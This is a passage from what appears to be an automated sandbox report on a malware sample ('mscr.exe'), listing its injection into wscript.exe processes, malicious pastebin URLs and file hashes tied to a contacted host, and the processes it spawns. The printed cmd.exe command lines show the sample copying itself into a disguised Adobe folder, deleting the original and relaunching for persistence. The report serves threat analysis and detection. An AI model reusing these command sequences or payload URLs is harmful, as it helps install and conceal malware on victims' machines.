remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1684)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1684)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1828)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1828)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1828)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 824)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 824)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 824)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1804)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1804)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1804)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1820)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1820)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1820)"],"description_v3":[{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\wscript.exe\" (Handle: 1708)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1708)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1708)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1776)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1776)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1776)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1680)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1680)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1680)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1664)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1664)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1664)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1732)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1732)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1732)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1520)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1520)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1520)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1512)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1512)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1512)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1796)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1796)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1796)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1684)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1684)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1684)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1828)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1828)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1828)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 824)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 824)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 824)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1804)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1804)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1804)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1820)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1820)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1820)"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Network Related","identifier":"network-21","type":7,"relevance":10,"name":"Malicious artifacts seen in the context of a contacted host","description":"$94","description_v2":["Found malicious artifacts related to \"104.20.209.21\" (ASN: , Owner: ): ...","","URL: https://pastebin.com/raw/pxSE2TJ1 (AV positives: 2/64 scanned on 10/13/2017 20:14:34)","URL: http://pastebin.com/raw/KbdLpWzi (AV positives: 3/65 scanned on 10/12/2017 18:05:12)","URL: http://pastebin.com/raw/uswx7ndh (AV positives: 3/65 scanned on 10/12/2017 14:05:09)","URL: http://pastebin.com/raw/dbsdyhxd (AV positives: 1/64 scanned on 10/12/2017 14:05:09)","URL: http://pastebin.com/raw/pxse2tj1 (AV positives: 2/64 scanned on 10/12/2017 02:03:00)","File SHA256: 8be66937f3f49a5162cfe324d744eaaeabf9eda6a85c1a3fb1adaee513eb62db (AV positives: 35/66 scanned on 10/16/2017 18:06:56)","File SHA256: 6117624e2f9472db713cd25df4f6223ea9b26513a3248196a475f8ae0401fcc2 (AV positives: 40/67 scanned on 10/16/2017 14:14:23)","File SHA256: 3c8dedb8aca3a7ad4a86486afd9f5aeca3db5b3d9b7877906a72d1dab1272787 (Scanned on 10/16/2017 06:07:26)","File SHA256: 82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26 (Scanned on 10/16/2017 05:58:07)","File SHA256: 57d25312a700a45a5856c6c37914f95cf9c4213d3bb1815e29baf5f2c43f7282 (AV positives: 2/66 scanned on 10/15/2017 19:41:24)","File SHA256: 5483bcdbe49d68d1e87acccd95909b333af5721ccb5c0a9717aeb82734a39eeb (AV positives: 25/66 scanned on 10/15/2017 09:53:35)","File SHA256: 6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf (Scanned on 10/15/2017 14:24:26)","File SHA256: 1236f6fffb29929be2fcddee0551899b5598564cbeb7fe6c30871ce0ecb584ec (Scanned on 10/15/2017 08:19:40)","File SHA256: e27086069ddbeb1ff169f47952a114dfdd0536061bdba149c6f6a64d5b27fc27 (Scanned on 10/15/2017 00:06:51)","File SHA256: b0474f7fa966049e278879932de826aeaa15a0b71759fe54569f78ec0326ac87 (AV positives: 3/27 scanned on 10/14/2017 14:35:00)"],"description_v3":[{"type":"text","value":"Found malicious artifacts related to \"104.20.209.21\" (ASN: , Owner: ): ..."},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"URL: https://pastebin.com/raw/pxSE2TJ1 (AV positives: 2/64 scanned on 10/13/2017 20:14:34)"},{"type":"linebreak"},{"type":"text","value":"URL: http://pastebin.com/raw/KbdLpWzi (AV positives: 3/65 scanned on 10/12/2017 18:05:12)"},{"type":"linebreak"},{"type":"text","value":"URL: http://pastebin.com/raw/uswx7ndh (AV positives: 3/65 scanned on 10/12/2017 14:05:09)"},{"type":"linebreak"},{"type":"text","value":"URL: http://pastebin.com/raw/dbsdyhxd (AV positives: 1/64 scanned on 10/12/2017 14:05:09)"},{"type":"linebreak"},{"type":"text","value":"URL: http://pastebin.com/raw/pxse2tj1 (AV positives: 2/64 scanned on 10/12/2017 02:03:00)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 8be66937f3f49a5162cfe324d744eaaeabf9eda6a85c1a3fb1adaee513eb62db (AV positives: 35/66 scanned on 10/16/2017 18:06:56)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 6117624e2f9472db713cd25df4f6223ea9b26513a3248196a475f8ae0401fcc2 (AV positives: 40/67 scanned on 10/16/2017 14:14:23)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 3c8dedb8aca3a7ad4a86486afd9f5aeca3db5b3d9b7877906a72d1dab1272787 (Scanned on 10/16/2017 06:07:26)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26 (Scanned on 10/16/2017 05:58:07)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 57d25312a700a45a5856c6c37914f95cf9c4213d3bb1815e29baf5f2c43f7282 (AV positives: 2/66 scanned on 10/15/2017 19:41:24)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 5483bcdbe49d68d1e87acccd95909b333af5721ccb5c0a9717aeb82734a39eeb (AV positives: 25/66 scanned on 10/15/2017 09:53:35)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf (Scanned on 10/15/2017 14:24:26)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 1236f6fffb29929be2fcddee0551899b5598564cbeb7fe6c30871ce0ecb584ec (Scanned on 10/15/2017 08:19:40)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: e27086069ddbeb1ff169f47952a114dfdd0536061bdba149c6f6a64d5b27fc27 (Scanned on 10/15/2017 00:06:51)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: b0474f7fa966049e278879932de826aeaa15a0b71759fe54569f78ec0326ac87 (AV positives: 3/27 scanned on 10/14/2017 14:35:00)"}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Unusual Characteristics","identifier":"target-14","type":9,"relevance":8,"name":"Spawns a lot of processes","description":"$95","description_v2":["Spawned process \"\" (UID: 00014871-00003556)","$96","Spawned process \"cmd.exe\" with commandline \"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&\" (UID: 00015176-00003640)","Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\" (UID: 00015185-00003672)","Spawned process \"timeout.exe\" with commandline \"timeout /t 1 /nobreak\" (UID: 00015197-00003656)","Spawned process \"mscr.exe\" (UID: 00015331-00003724)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00016479-00002956)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2788310.vbs\"\" (UID: 00016531-00002904)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00017009-00003004)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3197659.vbs\"\" (UID: 00017032-00002832)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00017509-00003192)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7597624.vbs\"\" (UID: 00017529-00003244)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00018039-00003260)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup9321933.vbs\"\" (UID: 00018059-00003292)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00018570-00003416)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3330015.vbs\"\" (UID: 00018600-00003456)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00019077-00003532)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup196366.vbs\"\" (UID: 00019098-00002712)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00019610-00004052)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2879488.vbs\"\" (UID: 00019628-00002896)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00020139-00003616)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup8192529.vbs\"\" (UID: 00020161-00003592)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00020672-00003608)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7944398.vbs\"\" (UID: 00020693-00002776)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00021204-00000808)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1295000.vbs\"\" (UID: 00021221-00003856)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00021734-00003832)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3019309.vbs\"\" (UID: 00021757-00004068)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00022234-00003984)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7419274.vbs\"\" (UID: 00022256-00003980)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00022767-00002236)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7171143.vbs\"\" (UID: 00022790-00001748)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00023267-00002116)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1581107.vbs\"\" (UID: 00023290-00000712)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00023799-00002572)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1990457.vbs\"\" (UID: 00023824-00002428)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00024301-00002688)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2144209.vbs\"\" (UID: 00024324-00002628)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00024801-00002736)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup6544173.vbs\"\" (UID: 00024825-00002784)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00025305-00003160)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup5382966.vbs\"\" (UID: 00025337-00002968)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00025815-00003332)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup276877.vbs\"\" (UID: 00025847-00003792)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00026326-00003348)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7434561.vbs\"\" (UID: 00026351-00003364)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00026827-00003392)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup8245793.vbs\"\" (UID: 00026845-00003460)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00027355-00002052)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1295063.vbs\"\" (UID: 00027367-00003524)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00027878-00003044)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup562985.vbs\"\" (UID: 00027901-00002232)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00028378-00003688)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2031697.vbs\"\" (UID: 00028398-00003692)"],"description_v3":[{"type":"text","value":"Spawned process \"\""},{"type":"process","process_uid":"00014871-00003556","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"$97"},{"type":"process","process_uid":"00015175-00003636","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&\""},{"type":"process","process_uid":"00015176-00003640","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\""},{"type":"process","process_uid":"00015185-00003672","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"timeout.exe\" with commandline \"timeout /t 1 /nobreak\""},{"type":"process","process_uid":"00015197-00003656","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mscr.exe\""},{"type":"process","process_uid":"00015331-00003724","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00016479-00002956","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2788310.vbs\"\""},{"type":"process","process_uid":"00016531-00002904","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00017009-00003004","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3197659.vbs\"\""},{"type":"process","process_uid":"00017032-00002832","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00017509-00003192","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7597624.vbs\"\""},{"type":"process","process_uid":"00017529-00003244","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00018039-00003260","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup9321933.vbs\"\""},{"type":"process","process_uid":"00018059-00003292","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00018570-00003416","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3330015.vbs\"\""},{"type":"process","process_uid":"00018600-00003456","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00019077-00003532","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup196366.vbs\"\""},{"type":"process","process_uid":"00019098-00002712","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00019610-00004052","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2879488.vbs\"\""},{"type":"process","process_uid":"00019628-00002896","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00020139-00003616","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup8192529.vbs\"\""},{"type":"process","process_uid":"00020161-00003592","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00020672-00003608","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7944398.vbs\"\""},{"type":"process","process_uid":"00020693-00002776","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00021204-00000808","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1295000.vbs\"\""},{"type":"process","process_uid":"00021221-00003856","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00021734-00003832","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3019309.vbs\"\""},{"type":"process","process_uid":"00021757-00004068","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00022234-00003984","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7419274.vbs\"\""},{"type":"process","process_uid":"00022256-00003980","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00022767-00002236","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7171143.vbs\"\""},{"type":"process","process_uid":"00022790-00001748","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00023267-00002116","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1581107.vbs\"\""},{"type":"process","process_uid":"00023290-00000712","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned 